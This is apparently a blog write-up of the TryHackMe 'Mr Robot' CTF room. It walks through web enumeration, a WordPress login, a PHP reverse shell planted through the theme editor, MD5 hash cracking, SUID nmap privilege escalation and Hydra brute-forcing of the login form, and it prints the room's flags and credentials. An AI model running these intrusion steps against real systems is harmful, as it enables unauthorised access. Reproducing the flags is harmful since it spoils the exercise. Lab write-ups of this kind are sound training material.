I recently solved the Mr Robot CTF room on TryHackMe. The room is rated medium, but what I liked about it is that it connects a lot of basic penetration testing concepts together: web enumeration, robots.txt inspection, source-code review, WordPress login discovery, reverse shells, hash cracking, Linux privilege escalation, and SUID abuse.
This writeup follows the complete path I used to move from initial access to root. I have also added explanations for every important step, because the real value of this box is not only getting the flags, but understanding why each step matters.
Lab Setup
First, I started the TryHackMe machine and connected my Kali Linux machine to the TryHackMe VPN.
To connect Kali with TryHackMe, download your OpenVPN configuration file from:
TryHackMe → Access → VPN Settings → Download Configuration File
If the VPN file is on Windows and your Kali machine is running inside VMware, you can transfer it using scp:
scp <FULL-WINDOWS-FILE-PATH> <KALI-USERNAME>@<KALI-IP>:<DESTINATION-PATH>Example:
scp C:\Users\user\Downloads\cyberpat.ovpn [email protected]:/home/kali/After that, start the VPN connection from Kali:
sudo openvpn <FILENAME>.ovpnOnce the VPN was connected, I started the target machine and received the target IP address.
Opening the Web Application
I opened the target IP in the browser:
http://<TARGET-IP>The homepage showed a terminal-style Mr Robot themed interface. There were many commands visible on the page, but they were mostly visual distractions. In this room, the actual path comes from proper enumeration.
Checking robots.txt
Before running heavy enumeration, I checked the simplest and most common file first:
http://<TARGET-IP>/robots.txtrobots.txt is a plain text file placed at the root of a website. It tells search engine crawlers which paths they are allowed or not allowed to crawl.
In CTFs, this file is often used to hide interesting paths.
Inside robots.txt, I found two interesting entries:
key-1-of-3.txt
fsocity.dicI opened the first file and got the first key:
073403c8a58a1f80d943455fb30724b9So the first key was recovered successfully.
Nmap Enumeration
While checking the web application manually, I also ran an Nmap scan in parallel.
sudo nmap -sC -sV -O -A <TARGET-IP>The goal of this scan was to identify open ports, running services, versions, and possible operating system details.
The scan showed these important services:
22/tcp open ssh
80/tcp open http
443/tcp open httpsSome useful observations from the scan:
- SSH was exposed remotely.
- HTTP was available on port 80.
- HTTPS was available on port 443.
- The web server disclosed Apache/Ubuntu details.
- The SSL certificate appeared expired.
These are not direct exploitation points by themselves, but they help build a picture of the target.
Downloading fsocity.dic
The second interesting file from robots.txt was:
fsocity.dicI opened it in the browser and saw that it contained a large wordlist.
Press enter or click to view image in full size
This wordlist becomes useful later for the alternative Hydra-based username and password discovery method.
Directory Enumeration with Gobuster
Next, I used Gobuster to enumerate hidden directories and files on the web server.
sudo gobuster dir -u http://<TARGET-IP> -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 50 -kCommand breakdown:
dirRuns Gobuster in directory brute-forcing mode.
-u http://<TARGET-IP>Specifies the target URL.
-wSpecifies the wordlist.
-t 50Uses 50 threads to speed up the scan.
-kSkips TLS certificate verification. This is mostly useful for HTTPS targets, but it does not hurt if reused in the command.
Gobuster returned several interesting paths, including WordPress-related directories.
Important findings included:
/wp-admin
/wp-content
/wp-includes
/wp-login.php
/license
/readmeThe /wp-login.php path confirmed that the target was running WordPress.
WordPress Login Page
I opened the login page:
http://<TARGET-IP>/wp-login.phpAt this point, I needed valid WordPress credentials. The next useful path was /license.
Inspecting /license
I opened:
http://<TARGET-IP>/licenseThe page showed a suspicious message.
Whenever a page looks suspicious in a CTF, checking the source code is a good habit. I viewed the page source and found a Base64-looking string hidden inside.
Press enter or click to view image in full size
I decoded the Base64 string and recovered credentials for the WordPress user.
The credentials were:
Username: elliot
Password: ER28-0652Using these credentials, I logged in to the WordPress admin panel.
Getting a Reverse Shell through WordPress Theme Editor
After logging into WordPress, I started exploring the admin panel.
The important section was:
Appearance → Theme EditorThe Theme Editor allowed editing PHP files directly from the WordPress dashboard. This is dangerous because PHP code executed by the web server can be abused to get a reverse shell.
A reverse shell is a shell where the target machine connects back to the attacker machine.
In simple terms:
- I start a listener on my machine.
- I place a reverse shell payload on the target.
- The target connects back to my listener.
- I get command execution on the target.
I used a PHP reverse shell payload generated from:
https://www.revshells.com/Important point:
The IP address inside the reverse shell payload must be the attacker machine IP, not the target IP.
To find the attacker VPN IP, use:
ip aUsually, the TryHackMe VPN interface is tun0.
Then I edited a PHP theme file from the WordPress Theme Editor.
I pasted the PHP reverse shell payload into a theme file such as:
archive.phpBefore triggering the payload, I started a Netcat listener on my Kali machine:
nc -lvnp 4444Then I accessed the modified PHP file from the browser:
http://<TARGET-IP>/wp-content/themes/twentyfifteen/archive.phpOnce the page was opened, the target connected back to my listener.
Initial Shell Access
The reverse shell connected successfully.
Press enter or click to view image in full size
I checked the current user:
whoamiThe shell was running as the web server user, not as root.
Then I started enumerating the filesystem.
Inside /home/robot, I found:
key-2-of-3.txt
password.raw-md5The second key file was not directly readable because of permissions. However, the password hash file was readable.
The hash looked like this:
robot:c3fcd3d76192e4007dfb496cca67e13bThis was an MD5 hash for the robot user.
Cracking the Robot User Hash
I cracked the MD5 hash and got the password:
abcdefghijklmnopqrstuvwxyzBefore switching users, I stabilized the shell.
Get Devansh Patel’s stories in your inbox
Join Medium for free to get updates from this writer.
A basic reverse shell often behaves badly:
- Arrow keys may not work.
Ctrl + Cmay kill the shell.su,clear,nano, and similar commands may not work properly.- There is no proper TTY.
To spawn a better shell, I used:
python3 -c 'import pty; pty.spawn("/bin/bash")'Then I switched to the robot user:
su robotPassword:
abcdefghijklmnopqrstuvwxyzAfter switching users, I read the second key:
cat /home/robot/key-2-of-3.txtThe second key was:
822c73956184f694993bede3eb39f959I confirmed the current user:
whoami
id
hostnamePrivilege Escalation Enumeration
At this point, I had access as the robot user, but the final key was inside /root, so privilege escalation was required.
One common Linux privilege escalation technique is checking for SUID binaries.
SUID stands for Set User ID.
If a binary has the SUID bit enabled, it runs with the permissions of the file owner instead of the user who executes it.
If a SUID binary is owned by root, it may be possible to abuse it for root-level execution.
I searched for SUID binaries using:
find / -perm -u=s -type f 2>/dev/nullCommand breakdown:
find /Search from the root of the filesystem.
-perm -u=sFind files where the SUID bit is set for the owner.
-type fOnly return regular files.
2>/dev/nullHide permission-denied errors.
The interesting result was:
/usr/local/bin/nmapThis stood out because nmap should normally not be SUID.
Also, the location was suspicious:
/usr/local/bin/nmapThe /usr/local/bin directory usually contains manually installed binaries, not default system binaries.
Older versions of Nmap had an interactive mode that could execute shell commands. If that old Nmap binary has the SUID bit and is owned by root, it can be abused to spawn a root shell.
I checked it using:
ls -la /usr/local/bin/nmap
/usr/local/bin/nmap --versionThen I started interactive mode:
/usr/local/bin/nmap --interactiveInside the Nmap interactive prompt, I used:
!shThat spawned a shell.
I confirmed root access:
whoamiOutput:
rootThen I read the final key:
cat /root/key-3-of-3.txtThe third key was:
04787ddef27c3dee1ee161b21670b4e4At this point, all three keys were recovered.
Alternative Method: Finding Elliot Credentials with Hydra
The /license method gives the WordPress password quickly, but there is another method using the fsocity.dic wordlist.
This method is useful because it teaches how to use Hydra against a WordPress login form.
Cleaning the Wordlist
First, I checked the size of the original wordlist:
wc -w fsocity.dicThe file was very large and had many duplicate entries.
To clean it, I sorted the file and removed duplicates:
sort fsocity.dic | uniq > fs-listThen I checked the size again:
wc -w fs-listCommand breakdown:
wc -w fsocity.dicCounts the number of words in fsocity.dic.
sort fsocity.dicSorts the wordlist alphabetically.
uniqRemoves adjacent duplicate lines.
> fs-listSaves the cleaned output into a new file named fs-list.
This smaller cleaned wordlist makes Hydra faster.
Finding the Valid WordPress Username
Using Burp Suite, I inspected the WordPress login request.
The important POST parameters were:
log
pwdWordPress used this error message when the username was invalid:
Invalid usernameSo I used Hydra to test every word from fs-list as a possible username while keeping the password fixed as test.
hydra -L fs-list -p test <TARGET-IP> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username" -t 30Command breakdown:
-L fs-listUse usernames from the file fs-list.
-p testUse one static password: test.
http-post-formTell Hydra that the target login uses an HTTP POST form.
/wp-login.phpWordPress login endpoint.
log=^USER^&pwd=^PASS^Hydra replaces ^USER^ with each username from the file and ^PASS^ with the static password.
F=Invalid usernameFailure condition. If the response contains Invalid username, Hydra treats the attempt as failed.
-t 30Run 30 parallel tasks.
Hydra found the valid username:
elliotImportant note: Hydra may show test beside the username in this step. That does not mean test is the correct password. It only means the username is valid.
Finding Elliot’s Password
After finding the username, I kept the username fixed and brute-forced the password using the same cleaned wordlist.
WordPress shows a different error when the username is valid but the password is wrong:
The password you entered for the usernameSo I used that as the failure condition:
hydra -l elliot -P fs-list <TARGET-IP> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=The password you entered for the username" -t 30Command breakdown:
-l elliotUse one static username.
-P fs-listUse passwords from the file fs-list.
F=The password you entered for the usernameIf this message appears, Hydra knows the password is wrong.
Hydra found the valid credentials:
Username: elliot
Password: ER28-0652These credentials can be used to log in here:
http://<TARGET-IP>/wp-login.phpWhat I Learned
This room is a good example of why basic enumeration matters.
The important lessons were:
- Always check
robots.txt. - Do not ignore source code comments or hidden strings.
- Directory brute-forcing can reveal critical application paths.
- WordPress admin access can lead to code execution if theme editing is available.
- Reverse shells require the attacker IP, not the target IP.
- Always stabilize your shell before using commands like
su. - Readable password hashes can lead to user switching.
- SUID binaries are a major Linux privilege escalation vector.
- Unusual SUID binaries in
/usr/local/bindeserve attention. - Old versions of common tools can become privilege escalation paths.
The box starts with simple web enumeration and ends with Linux privilege escalation through an old SUID Nmap binary. That makes it a solid practice machine for connecting web exploitation with post-exploitation basics.